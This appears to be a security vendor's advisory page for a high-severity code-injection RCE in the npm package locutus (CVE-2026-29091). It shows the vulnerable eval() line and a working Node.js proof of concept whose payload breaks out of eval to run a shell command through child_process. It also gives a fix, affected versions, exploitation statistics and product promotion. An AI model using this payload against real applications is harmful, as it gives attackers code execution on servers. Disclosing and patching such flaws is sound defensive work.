Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-fp25-p6mj-qqg6 — locutus

HIGHFix: locutusjs/locutus@977a1fb

GHSA-fp25-p6mj-qqg6 is a high-severity (CVSS 8.1) CWE-95 vulnerability in locutus. A fix is available for locutus — see the affected versions and patch details below.

locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection

Also known asCVE-2026-29091
Published
Mar 4, 2026
Updated
Mar 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fp25-p6mj-qqg6.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs61th percentile — riskier than 61% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fp25-p6mj-qqg6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

137other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
locutusnpm
572Kdownloads / week

Description

Details

A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().


Technical Details

The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).

The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
}

PoC

This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.

const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}

Impact

If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.

This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.

Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (typeof cb[0] === "string") {
  if (cb[0].match(validJSFunctionNamePattern)) {
    // biome-ignore lint/security/noGlobalEval: needed for PHP port
    // func = eval(cb[0] + "['" + cb[1] + "']");
    var obj = null;
    try {
      obj = eval(cb[0]);
    } catch (e) {}
    if (obj && typeof obj[cb[1]] === "function") {
      func = obj[cb[1]];
    }
  }
} else {
  func = cb[0][cb[1]];
}
return func.apply(null, parameters);

And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].


Resources

https://cwe.mitre.org/data/definitions/95.html

https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!


Author: Tomas Illuminati

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmlocutusall versions3.0.0npm install locutus@3.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for locutus, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update locutus to 3.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fp25-p6mj-qqg6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fp25-p6mj-qqg6 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-fp25-p6mj-qqg6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Details A Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`. ------ ### Technical Details The vulnerability is in the `call_user_func_array` func
O3 Security · Impact-Aware SCA

Is GHSA-fp25-p6mj-qqg6 in your dependencies?

O3 Security finds GHSA-fp25-p6mj-qqg6 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-fp25-p6mj-qqg6: locutus RCE (High 8.1) | O3 Security